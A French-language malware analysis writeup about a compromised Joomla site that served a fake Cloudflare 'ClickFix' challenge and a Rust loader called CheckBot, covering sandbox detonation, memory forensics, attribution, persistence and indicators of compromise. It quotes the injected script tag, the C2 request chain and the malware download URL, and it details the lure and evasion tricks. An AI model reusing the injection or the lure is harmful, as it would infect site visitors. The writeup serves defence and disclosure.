Tous les articles
Writeups Sécurité18 juillet 2026· 23 min de lecture

Anatomie d'un site infecté : du fingerprint gate au malware CheckBot

Un site d'entreprise légitime distribuait un malware à ses visiteurs. J'ai suivi la chaîne depuis l'injection sur le site jusqu'au payload Rust, avec détonation en sandbox, memory dumping et differential analysis. Voici comment il fonctionnait et comment on le neutralise.

#malware-analysis#incident-response#clickfix#reverse-engineering#joomla#rust
Fausse challenge Cloudflare servie par le site compromis, avec le domaine de la victime (partiellement masqué) dans la barre d'adresse
Le troisième écran de la fausse challenge Cloudflare (le piège ClickFix) tel qu'il apparaissait à la victime. Le domaine dans la barre est celui, légitime, du site compromis, masqué pour responsible disclosure.

Le 15 juillet 2026 je suis tombé sur le site d'une entreprise du territoire, un site parfaitement normal, en ligne depuis des années, qui distribuait un malware à ses propres visiteurs Windows sans que personne ne s'en soit rendu compte. Pas un site d'arnaque : une vraie activité, compromise et transformée, à son insu, en véhicule de distribution.

Dans ce writeup je raconte toute la chaîne : comment je l'ai découverte, comment se comportait le script injecté, ce qui se passait quand je « détonais » le malware dans une sandbox isolée, ce que j'ai tiré des dumps de mémoire, et pourquoi arriver à dire ce que fait vraiment un malware est bien plus difficile qu'il n'y paraît.

Note sur la responsible disclosure. Le nom de l'entreprise victime et son domaine sont masqués : c'était une cible innocente, un site légitime compromis. Les indicateurs de l'infrastructure de l'attaquant (domaines C2, hashes, IP) sont en revanche rapportés, car les partager aide ceux qui font de la défense à les bloquer. L'analyse a été menée en environnement isolé et l'entreprise a été prévenue.

1. La découverte : un script qui ne devait pas être là

Tout est parti d'un détail dans le source HTML. Sur toutes les pages, à l'intérieur du markup du menu de navigation, apparaissait un script étranger :

...sp-menu-item sp-has-child "><script src="https://js.aacaw.com/fp/v1.min.js"></script>"><a href="/">Home</a>...

Ce " orphelin avant <a> est la signature d'un remplacement automatique via PHP côté serveur, et non d'une modification manuelle du template. Le script était injecté une fois pour chaque module-menu rendu : les pages avec megamenu desktop et menu mobile en montraient deux copies, celles avec un seul menu une seule.

Le domaine js.aacaw.com n'avait rien à voir avec le site. Premier signal d'alarme.

2. Ce n'est pas le malware : c'est une porte

J'ai téléchargé et désobfusqué fp/v1.min.js (97 920 octets exactement, obfusqué avec obfuscator.io). La surprise : il ne contient aucun payload. Zéro occurrence de captcha, download, .exe, blob, clipboard. C'est un fingerprint gate, une porte qui profile le visiteur et décide s'il vaut la peine de l'attaquer.

Le script collecte un fingerprint étendu côté client :

  • canvas et WebGL (vendor et renderer via WEBGL_debug_renderer_info)
  • énumération des polices installées
  • navigator complet (userAgent, platform, plugins, hardwareConcurrency, langue)
  • résolution de l'écran, timezone

Puis il envoie tout à un C2 et attend le feu vert. En désobfusquant et en réexécutant le script dans une sandbox Node avec navigateur mocké et réseau intercepté, j'ai reconstruit la chaîne étape par étape :

GET  https://api.aacak.com/domain            → {"domain":"aacak.com"}   (domain-agility)
POST https://api.aacak.com/fingerprint/check → {"status":"exist","fp_hash":"..."}
     (se il profilo è un bersaglio → inietta il secondo stadio JS)

La première requête est un mécanisme de domain-agility : le script demande au C2 quel est le domaine actif avant de procéder, ainsi l'attaquant peut faire tourner l'infrastructure sans toucher au site infecté. Le fingerprint voyage sans aucune signature HMAC, donc le schéma est trivialement forgeable, un détail utile plus loin.

Sur Mac, Linux ou mobile, la porte ne reçoit jamais le feu vert et ne montre rien. Voilà pourquoi une compromission de ce genre peut passer inaperçue pendant des mois : elle ne s'active que pour la bonne cible.

3. Le faux Cloudflare et la technique ClickFix

Quand le profil est un desktop Windows, le gate injecte un second étage (static.aacak.com/fp/check.v1.min.js, 992 491 octets) qui construit une imitation pixel-perfect de la challenge Cloudflare. Des textes verbatim comme "Performing security verification", "This website uses a security service to protect against malicious bots", le branding Cloudflare, et même les vrais liens vers cloudflare.com/turnstile et cdn-cgi/challenge-platform pour l'authenticité.

La mise en scène est construite en trois actes, reconstruits ci-dessous à partir des échantillons réels (domaine de la victime masqué : c'est une cible innocente).

Acte 1 : la fausse challenge. La victime voit apparaître la classique interstitielle Cloudflare, avec le nom du site en grand, la case "Verify you are human" et le branding correct. Indiscernable de la vraie.

Acte 1 : fausse challenge Cloudflare avec case 'Verify you are human', servie par le site compromis avec le domaine légitime dans la barre et dans le titre

Et c'est ici que cette arnaque devient vraiment dangereuse. Regarde la barre d'adresse et le titre : le domaine est celui légitime du site compromis. Ce n'est pas un typosquat, ce n'est pas un domaine ressemblant, ce n'est pas un site clone : c'est ce site-là, avec son certificat HTTPS valide et la réputation bâtie en des années. La seule défense que nous enseignons toujours aux utilisateurs, "vérifie que l'URL est la bonne", échoue ici, parce que l'URL est la bonne. Aucune sonnette d'alarme ne se déclenche.

Acte 2 : le faux échec. Tu cliques la case et la challenge feint de ne pas réussir : "Verification failed, switching to another verification method". C'est le pivot psychologique de l'arnaque : la challenge « vraie » échoue, ainsi l'utilisateur accepte volontiers une méthode « alternative », baissant sa garde juste au moment où il va se faire avoir.

Acte 2 : la fausse challenge affiche 'Verification failed, switching to another verification method'

Acte 3 : le ClickFix. La « méthode alternative » est une page avec six champs pour un « code de vérification » et un bouton "Verify now".

Acte 3 : fausse vérification avec six champs de code et bouton Verify now, le leurre de la technique ClickFix, servie en plein écran par le site compromis

Mais les champs et le bouton sont un leurre : ils ne font rien. C'est le cœur de la technique ClickFix. Le vrai téléchargement part d'un lien secondaire, à l'écart, "Not enabled yet? Get it now". En cliquant dessus :

POST https://api.aacak.com/fingerprint/download-click     (telemetria del clic)
GET  https://fp-hk.s3.ap-east-1.amazonaws.com/super4/checkbot/checkbot-<rnd>-0.0.32.exe

Le malware est servi comme un blob application/octet-stream depuis un bucket AWS S3 à Hong Kong (fp-hk, c'est-à-dire fingerprint-HK), fait passer pour un « validateur » nécessaire pour compléter le CAPTCHA. Après le clic, le lien devient "Validator downloaded". L'utilisateur exécute le malware en croyant débloquer un CAPTCHA, sans aucune vulnérabilité du navigateur, seulement de l'ingénierie sociale bien emballée.

Et ici le piège se referme de façon diabolique. Le « validateur » à peine téléchargé et exécuté est le malware lui-même, qui ouvre une petite fenêtre avec un code à six chiffres, présenté comme le code de vérification à saisir sur la page.

La fenêtre du malware "CheckBot 0.4.32" affiche un faux widget Cloudflare avec un code à six chiffres généré par le programme à peine exécuté

La victime copie ce code dans les six champs de la fausse challenge sur le site et clique « Verify now ». À ce moment le faux CAPTCHA disparaît et le site, le vrai, se charge normalement : l'utilisateur continue de naviguer imperturbable et convaincu d'avoir passé un contrôle de sécurité normal. Aucune erreur, aucun avertissement, aucun signe que quelque chose a mal tourné. Le code ne servait à rien du point de vue de la sécurité : il n'était que la dernière pièce de la mise en scène, le geste qui convainc l'utilisateur d'avoir « complété la vérification ». Pendant ce temps le malware est déjà sur son PC, et il y restera, silencieux, tandis qu'il retourne faire ce pour quoi il était venu sur le site sans se douter de rien.

4. La cause en amont : un plugin Joomla non mis à jour

Comment ce script a-t-il fini sur le serveur ? Le site tournait sur Joomla 4.4.14 (branche end-of-life) avec SP Page Builder 4.0.7, affecté par :

Champ Valeur
CVE CVE-2026-48908, file upload non authentifié menant à une RCE
Fonction asset.uploadCustomIcon (le contrôle d'accès manque)
Fix v6.6.2, publiée le 14/06/2026
Statut dans CISA KEV (exploitation active confirmée) depuis le 07/07/2026

En croisant avec la Wayback Machine, la page d'accueil était propre au 12 mai 2026 : la fenêtre de compromission se resserre à la période entre mai et juillet, cohérente avec l'apparition de la CVE dans la liste des vulnérabilités activement exploitées. Leçon numéro un, la plus ennuyeuse et la plus importante : un plugin obsolète est la porte d'entrée.

5. Détonation en sandbox isolée

Passons au binaire. checkbot-win-*.exe, environ 2,76 Mo, non signé. À l'exécution il drop un classique couple de DLL sideloading : dumpchk.exe (binaire Microsoft légitime et signé) qui charge un dbgeng.dll malveillant à la place de la DLL système du même nom.

Je l'ai exécuté dans une VM Windows complètement isolée, sans accès à l'internet réel, avec un réseau factice qui logge chaque tentative de connexion. En reconstruisant la timeline à partir du .pcap, le malware a interrogé en séquence trois domaines C2 :

~177s  api.fingerprint-probe.com   ← primo contatto
~370s  api.aacaw.com               ← stessa famiglia di js.aacaw.com sul sito!
~382s  api.aacak.com               ← variante typosquat, fallback

Le second domaine est la preuve directe que le malware distribué et le script sur le site appartiennent à la même infrastructure. Toutes les résolutions DNS échouaient à dessein, donc le malware n'a rien pu exfiltrer, mais la séquence de domaines est exactement ce qu'il aurait cherché à faire sur un PC réel.

6. Memory dumping : lire ce que le disque cache

Le fichier dbgeng.dll sur disque ne contient aucune chaîne malveillante en clair : il incorpore deux blobs chiffrés qu'il copie en mémoire RWX et exécute. Le payload doit être lu en RAM, pas sur le disque.

En capturant un dump complet de la mémoire de la VM pendant l'exécution, des informations que le fichier chiffré ne révélait pas sont apparues en clair :

  • Endpoint C2 de l'exécutable : /fingerprint/create (distinct des endpoints du gate web)
  • Bibliothèque HTTP : ureq/3.3.0 avec rustls 0.23.41, donc le payload est écrit en Rust (le loader initial est en revanche C/C++ MSVC : loader C, payload Rust, un pattern courant dans le malware moderne)
  • GUID victime unique : 0ec389f5-32ae-4a02-85c3-b3a3f21fe78d
  • Anti-sandbox : les chaînes bochs et BOCHS, c'est-à-dire il contrôle la présence de l'émulateur Bochs (il n'a pas détecté notre QEMU/WHPX, c'est pour cela qu'il s'est comporté normalement)
  • Branding : CheckBot Error

Avec Volatility3 j'ai ensuite fait les choses correctement sur deux exécutions indépendantes (pslist, malfind, memmap, vadinfo) :

pslist   → checkbot-win.exe = PID 3596, nessun processo figlio
malfind  → hit SOLO su MsMpEng.exe, sppsvc.exe, ServerManager

Ici un piège méthodologique dans lequel il est très facile de tomber : malfind signale des régions RWX dans Windows Defender et dans les processus .NET. Elles ressemblent à une « injection dans Defender », mais ce sont les faux positifs connus, car ces processus utilisent légitimement de la mémoire RWX pour le moteur de scan et le JIT. Aucun de ces hits n'était dans le malware. Qui ne le sait pas écrit un rapport erroné avec grande assurance.

La donnée importante est une autre : dans notre environnement le malware préparait la configuration et s'arrêtait là, parce que le C2 ne répondait jamais. L'injection de code est conditionnée à une réponse positive du C2, donc le comportement dangereux se débloque seulement pour des victimes réelles avec un internet fonctionnel.

7. Ce qu'il fait VRAIMENT : le differential contre un build propre

À partir du dump j'ai carvé le payload Rust déchiffré (environ 780 Ko). Et c'est là qu'arrive la partie méthodologiquement la plus délicate de toute l'analyse.

La tentation est : je cherche des chaînes dans le dump, je trouve wallet, MetaMask, Login Data, Active Directory, et je conclus « c'est un stealer de wallet et de credentials ! ». Faux. rustls et la standard library sont linkées statiquement : leurs constantes (tables OID, headers HTTP) finissent dans le .rdata du blob, colocalisées avec les marqueurs du malware. Un scan brut d'un dump de 8,6 Go pêche des chaînes provenant d'autres processus et DLL en RAM, pas du malware.

Pour ne pas prendre des vessies pour des lanternes, j'ai compilé un build propre de référence avec les versions exactes des crates (ureq 3.3.0, rustls 0.23.41, http 1.4.2) et j'ai soustrait ses chaînes de celles du payload. Résultat :

  • id-smime-cd-ldap, Exchange, LDAP, Cookies apparaissent aussi dans le build propre : bruit de bibliothèque, démontré
  • Active Directory, SharePoint, DPAPI, wallet, MetaMask, CVV sont absents même du payload : ils venaient d'autres processus en RAM
  • ce qui reste après la soustraction, ce sont les modules Rust de l'auteur : src/core/crypto.rs, src/core/client_id.rs, src/core/i18n.rs, src/core/probe.rs, plus de l'anti-debug et un schéma de télémétrie

Verdict sur l'exécutable initial : CheckBot est un fingerprinting-probe/loader, PAS un stealer, conclusion défendable par différence contre un build propre, non par proximité de chaînes. Le vol de données, s'il existe, est un étage ultérieur.

8. Détonation live : faire tomber l'anti-analyse

Tant que le C2 ne répondait pas, l'étage malveillant ne s'activait pas. Pour l'observer j'ai fait une détonation avec egress réel vers le C2 vivant, en VM isolée au niveau réseau (le guest atteint internet mais pas le LAN ni l'host).

Premier run live : refusé. Ma VM « criait sandbox » : hostname SANDBOX-PC, utilisateur Administrator, CPU qemu64, 1 cœur, SMBIOS QEMU, MAC 52:54:00. Le C2 a répondu avec quelques Ko et aucun module.

Second run : sandbox durcie. J'ai camouflé tout dans les paramètres QEMU :

  • -cpu Skylake-Client-v1, -smp 4, SMBIOS Dell OptiPlex 7090, MAC OUI Dell 00:14:22, hostname WKS-MARCO
  • un profil utilisateur crédible avec des credentials-leurre canarytoken : Desktop\Password.txt avec une clé AWS, banque et email, plus .aws\credentials et des documents Office, tous faux mais armés, car ils se déclenchent quand l'attaquant les utilise

Avec l'environnement camouflé, j'ai lancé le binaire et l'ai laissé travailler sous observation. Voici le malware en action dans la sandbox durcie :

Le malware CheckBot en exécution dans la sandbox : prompt avec hostname WKS-MARCO et nslookup du C2 api.aacaw.com, lancement de checkbot-win.exe et la fenêtre 'CheckBot 0.4.32' qui imite un widget Cloudflare

On voit tout : le hostname camouflé WKS-MARCO, la résolution DNS du C2 api.aacaw.com qui cette fois répond (les adresses Cloudflare devant le serveur de l'attaquant), le lancement de checkbot-win.exe depuis F:\ et, détail presque narquois, la fenêtre du malware lui-même, intitulée "CheckBot 0.4.32", qui reprend un faux widget Cloudflare "Verifying…" avec les mêmes codes à six chiffres que la page web. La même mise en scène que la challenge dans le navigateur, désormais incrustée dans l'exécutable : cohérence de branding jusque dans le binaire.

Cette fois le fingerprint est passé et l'étage final est arrivé. Observé directement :

  1. Connexion à 103.1.225.34:8001 et :8002, TLS sur ports non standard, sans SNI, IP directe, avec téléchargement d'environ 4 Mo de modules et upload d'environ 21 Ko (exfiltration)
  2. Vol des leurres tenté : dans la mémoire privée du processus injecté dllhost.exe (PID 4688) se trouvait le contenu intégral de Password.txt, clé AWS canary AKIATU7L4S6WXXD53K7Y incluse. Un dllhost.exe sain ne lit pas de fichiers depuis le Desktop utilisateur
  3. Injection confirmée avec évidence directe de VirtualAllocEx, WriteProcessMemory et CreateRemoteThread isolées dans le module (de nouveau vérifiées avec la méthode differential, pour ne pas les confondre avec des chaînes de bibliothèque)
  4. DNS-over-HTTPS pour cacher le C2 : cloudflare-dns.com/dns-query et dns.quad9.net/dns-query résolvaient un nouveau domaine s4.cache-task.com, éludant les logs DNS du réseau

9. Attribution : pourquoi nous pensons qu'ils sont chinois

Un morceau qui, dans les writeups, est souvent tenu pour acquis, mais qui ici repose sur des évidences concrètes et indépendantes. L'attribution à des opérateurs sinophones ne naît pas d'un seul indice, mais de chaînes en chinois simplifié trouvées à des endroits différents et non reliés de la chaîne : script web, backend C2, page-leurre, binaire. Si c'était un seul point je dirais coïncidence ; quatre points indépendants non.

Les exemples concrets, avec la traduction :

  • Erreur du C2, en envoyant un fingerprint malformé au backend Rust : fp_data 缺少必要字段, c'est-à-dire « champs obligatoires manquants ». Le message d'erreur est écrit en chinois directement dans le serveur.
  • Chaînes du faux CAPTCHA : 看 6 位验证码, c'est-à-dire « regarde le code à 6 chiffres », les commentaires pour l'opérateur derrière la fausse challenge Cloudflare.
  • Fragment dans le gate : 网络, c'est-à-dire « réseau », laissé au milieu du code du fingerprint.
  • Commentaire dans le CSS de la page-leurre : BOSS 约束, c'est-à-dire « contrainte du chef ». Un détail presque humain, le genre de commentaire qu'un développeur écrit pour lui-même, sans penser qu'il finira sous la loupe d'un analyste.

Il y a plus, et cela déplace l'attribution du langage à l'infrastructure. La résolution des domaines se faisait via DNS-over-HTTPS multi-provider, et parmi les resolvers choisis figurait dns.alidns.com, c'est-à-dire le DNS public d'Alibaba (Chine), à côté de cloudflare-dns.com, quad9.net et dns.google. Un choix qui a un double but : contourner le resolver DNS local (aucune trace dans le DNS de l'entreprise ou du FAI) et s'appuyer sur une infrastructure commode pour qui opère depuis cette zone.

Et puis il y a l'histoire du domaine, peut-être la pièce la plus parlante. En interrogeant le DNS passif de aacak.com, l'un des domaines C2, ses sous-domaines historiques sont remontés : pas des noms au hasard, mais liuhecai, yulecheng, zuqiubocai. Ce sont tous des termes chinois du jeu d'argent : respectivement la loterie Mark Six de Hong Kong, les « cités du divertissement » c'est-à-dire les casinos en ligne, et les paris sur le football. Autrement dit, avant d'héberger le gate de CheckBot, ce même domaine servait des circuits de paris en ligne chinois. Ce n'est pas une victime et ce n'est pas du bruit : c'est un morceau de la biographie de l'attaquant. Il indique que derrière cette campagne il n'y a pas un débutant, mais un acteur déjà enraciné dans l'écosystème du jeu d'argent clandestin sinophone, qui a ensuite reconverti son infrastructure vers la distribution de malwares.

Enfin, un détail issu des chemins de panic du binaire Rust : le stealer a été cross-compilé sur macOS (toolchain stable-aarch64-apple-darwin). Ce n'est pas une preuve de nationalité, mais cela dresse le profil : des opérateurs qui développent sur des Mac Apple Silicon, avec une messagerie interne en chinois, et une infrastructure qui touche des providers chinois.

Il reste une attribution forte mais non concluante : les chaînes dans une langue peuvent être placées exprès pour égarer. Cependant la cohérence entre langue, providers DNS, histoire du domaine et style des commentaires rend le false flag moins probable que ne le rendrait un seul indice isolé.

10. Pas un stealer à cibles fixes, mais un agent modulaire

En récupérant le module décompressé depuis la RAM (Volatility3 vadinfo --dump) et en le désassemblant, tout l'arbre des sources Rust de l'auteur a émergé (d'après les chemins de panic app/r/...) :

core/     c2_endpoint.rs, tcp3.rs (TLS custom), dns3.rs + dns_resolve.rs (DoH)
runtime/  beacon.rs, task.rs + heavy_task.rs + worker.rs (esecutore di task C2),
          supervisor.rs, immortal.rs (persistenza), host_info_cache.rs (recon)
win/      remote_inject.rs (injection), agent_launch.rs, plat.rs, storage.rs
embed/    cfg.rs, version.rs (v0.0.32)

Cela explique l'absence de chaînes browser et wallet : ce n'est pas un stealer à cibles câblées, c'est un agent modulaire piloté par des tâches du C2. L'opérateur pousse les commandes (inject_host, restart, update, sleep, stop, god, fmt et d'autres) ; le vol de fichiers a eu lieu parce qu'il a envoyé la bonne tâche, et de fait il a pris mon leurre. Des capacités comme le vol browser ou wallet seraient des modules additionnels téléchargés on-demand. La surface de risque est ouverte ; ce qui est démontré sur cette victime est : injection, recon, persistance, vol de fichiers sur commande et exfiltration.

11. Persistance et neutralisation

La persistance est redondante, pensée pour résister au nettoyage. La chaîne littérale est câblée dans le binaire CheckBot :

  • Ancrage primaire : scheduled task camouflée \Microsoft\Windows\Device Information\DeviceCensusHelper (imite le légitime DeviceCensus, auteur falsifié Microsoft Corporation), créée via la Task Scheduler COM API, qui exécute le loader sideload à chaque boot
  • Ancrage fallback : clé de registre HKLM (immortal.rs), utilisée si la task échoue
  • Self-heal : immortal.rs et supervisor.rs redémarrent les threads, et task et corps se recréent mutuellement

Voilà pourquoi pour nettoyer il ne suffit pas de supprimer un fichier. Il faut tous les ancrages ensemble :

  1. Site hors ligne et patch de la cause : mettre à jour SP Page Builder vers une version égale ou supérieure à la 6.6.2, mettre à jour tout le reste, évaluer la migration depuis Joomla 4.4 EOL
  2. Chasse à la persistance sur l'endpoint infecté : supprimer la scheduled task DeviceCensusHelper, la clé HKLM, le loader droppé (dumpchk.exe et dbgeng.dll) et le dllhost.exe injecté ; s'il en manque un, il se régénère
  3. Rotation totale des credentials (admin Joomla, secret configuration.php, DB, hosting, FTP/SSH, clés API)
  4. Sur le serveur : chercher des admins et webshells cachés, sans s'arrêter au plugin
  5. RGPD : le site collectait des contacts via un formulaire, donc avec l'accès au DB l'attaquant pourrait avoir vu des données de tiers ; d'où l'évaluation de l'obligation de notification de breach (72 heures, Art. 33)

Comme touche finale, les leurres canary exfiltrés sont armés : la clé AWS AKIATU7L4S6WXXD53K7Y et les documents Office avec callback vers canarytokens.com se déclencheront quand l'opérateur utilisera le butin, révélant l'IP et le user-agent réels de l'attaquant.

Indicateurs de compromission (IOC)

Type Valeur
Domaine gate (injecté) js.aacaw.com
Domaines C2 api.aacaw.com, api.aacak.com, api.aabaw.com, api.fingerprint-probe.com
Second étage JS static.aacak.com/fp/check.v1.min.js
Delivery/exfil (S3 Hong Kong) fp-hk.s3.ap-east-1.amazonaws.com, avec super4/checkbot/checkbot-*-0.0.32.exe et super4/zip/<token>.zip
Serveur d'exfiltration final 103.1.225.34:8001 et :8002 (TLS sans SNI, IP directe)
Domaine C2 via DoH s4.cache-task.com
Persistance scheduled task \Microsoft\Windows\Device Information\DeviceCensusHelper
Processus cible injection dllhost.exe
Hash dbgeng.dll (payload malveillant) d36db5975073d65a7d7ff48d0dab9ec3b4ce6302a42c01b89f78a580658df9a3
CVE exploitée CVE-2026-48908 (SP Page Builder jusqu'à la 6.6.1, Joomla)
Attribution chaînes en chinois dans le gate, le C2 et le leurre, DoH vers Alibaba, build sur macOS, donc opérateurs sinophones

12. Pas un cas isolé : la traque des autres victimes

Une fois le premier site signalé, la question évidente était : s'agit-il d'une cible isolée, ou de la pointe de quelque chose de plus vaste ? La signature d'injection que j'avais isolée pendant l'analyse (le script gate js.aacaw.com et la famille de domaines C2 *.aacaw.com / *.aacak.com / *.aabaw.com) était une empreinte parfaite pour retrouver d'autres victimes : si un site, où qu'il soit dans le monde, chargeait ce script, il appartenait à la même campagne.

Je l'ai fait sans toucher un seul site victime, uniquement à partir de sources passives :

  • urlscan.io, qui archive les requêtes réseau réellement émises par chaque page scannée : en interrogeant l'index sur les domaines de la campagne, on fait ressortir les sites depuis lesquels ce gate a « tiré ».
  • PublicWWW, qui indexe le code source HTML de centaines de millions de sites : chercher la chaîne js.aacaw.com renvoie directement les pages où l'injection est encore présente.
  • Certificate transparency (crt.sh) pour cartographier les familles de domaines frères générés par l'attaquant.

Le résultat a déplacé toute la perspective : pas un site, mais des dizaines. De l'ordre de 60 à 90 victimes observables à ce moment-là, réparties dans une quinzaine de pays, avec un dénominateur commun qui ne laisse aucune place au doute : toutes sous Joomla avec SP Page Builder, exactement la même combinaison et la même CVE-2026-48908 que le premier site. Pas une cible choisie, mais une moisson automatique de toute installation vulnérable que l'attaquant parvenait à trouver.

Et quelles victimes. Sans citer de noms (ce sont des cibles innocentes, comme la première) : des cabinets professionnels traitant les données financières de tiers, des institutions académiques et publiques, un théâtre, des associations culturelles et sportives, de petites entreprises de services et, à l'extrémité haute de l'échelle de risque, une banque et des portails gouvernementaux. Chacun de ces sites, à son insu, servait la même fausse challenge Cloudflare à ses visiteurs Windows.

Le détail le plus insidieux, c'est pourquoi personne ne s'en était aperçu. Le gate ne se déclenche pas à chaque fois : il est cloaked, servi par intermittence : une fois par IP, selon l'user-agent, la géolocalisation, le référent. Le propriétaire qui ouvre son propre site le voit propre, car au second chargement le portail reste fermé ; urlscan ne le capture qu'à l'instant précis où il décide de « tirer ». Cela explique comment une campagne aussi étendue peut rester invisible pendant des mois pour les premiers concernés.

Une précision, car la même discipline appliquée aux dumps mémoire vaut ici aussi : une estimation initiale, à l'impression, laissait penser à des milliers, voire des dizaines de milliers de sites. Les données ne le soutiennent pas. L'empreinte réelle de l'injection web est de l'ordre des dizaines, pas des milliers : le gate est délibérément furtif, et la sophistication n'implique pas un grand nombre de sites (le « volume » de la campagne, s'il est quelque part, est du côté du botnet d'appareils infectés, non mesurable depuis des sources passives). Même pour dimensionner une campagne, la règle du writeup tient : compter ce que l'on prouve, pas ce qui frappe.

Il y a une ligne que je n'ai pas franchie : pas de hack-back. Se connecter au serveur de l'attaquant pour en extraire la « liste complète » des victimes serait un accès non autorisé, illégal même contre un criminel, et souvent le meilleur moyen de tomber dans un honeypot. La reconnaissance de l'infrastructure hostile se fait uniquement via des index passifs ; la liste vraiment exhaustive s'obtient par voie légitime, en transmettant les IOC au CSIRT/CERT, qui a les pouvoirs et les canaux pour le takedown et la notification coordonnée aux victimes, la voie obligatoire, surtout pour les entités publiques touchées.

J'ai contacté les victimes que je pouvais joindre, à commencer par les italiennes, et transmis les indicateurs aux canaux institutionnels. Mais le point, pour le lecteur, est ailleurs, et il boucle la boucle avec la première leçon : ce premier site n'avait rien de spécial. Il n'avait pas été choisi. Ce n'était qu'un parmi tant d'autres à faire tourner un plugin non mis à jour, au mauvais moment.

Ce que j'en retiens

Trois leçons, par ordre d'importance.

Un plugin non mis à jour suffit. Aucun exploit sophistiqué du navigateur, aucun zero-day : une CVE connue dans un plugin end-of-life, et un site légitime devient un distributeur de malware pendant des mois sans que personne ne s'en aperçoive, parce que la porte ne s'active que pour la bonne cible.

L'analyse statique ne suffit pas contre le packing moderne. Downloader Rust, puis zip chiffré avec un mot de passe venant du C2, puis loader C avec blob XOR-rolling, puis shellcode, puis payload compressé à runtime. Chaque couche est pensée pour arrêter qui regarde seulement le fichier sur disque. La vérité est en RAM, et il faut la tirer avec détonation contrôlée et memory forensics.

Attention à ce que tu crois avoir trouvé. Les faux positifs de malfind sur Defender, les chaînes de bibliothèque prises pour des capacités du malware, la première liste « wallet, browser, Telegram » que le differential a démolie. La différence entre un rapport juste et un rapport faux mais convaincant est là tout entière : vérifier par différence, non par proximité.

Si tu gères un site sur un CMS avec des plugins tiers, que ce soit Joomla, WordPress ou Drupal, la question n'est pas s'il y a des mises à jour en attente, mais depuis combien de temps.

Audit de Sécurité

Besoin d'un audit de votre infrastructure ?

J'analyse systèmes et applications avec des pentests non destructifs et des rapports avec remédiations concrètes.

Parlons-enÉcrivez à info@conca.ai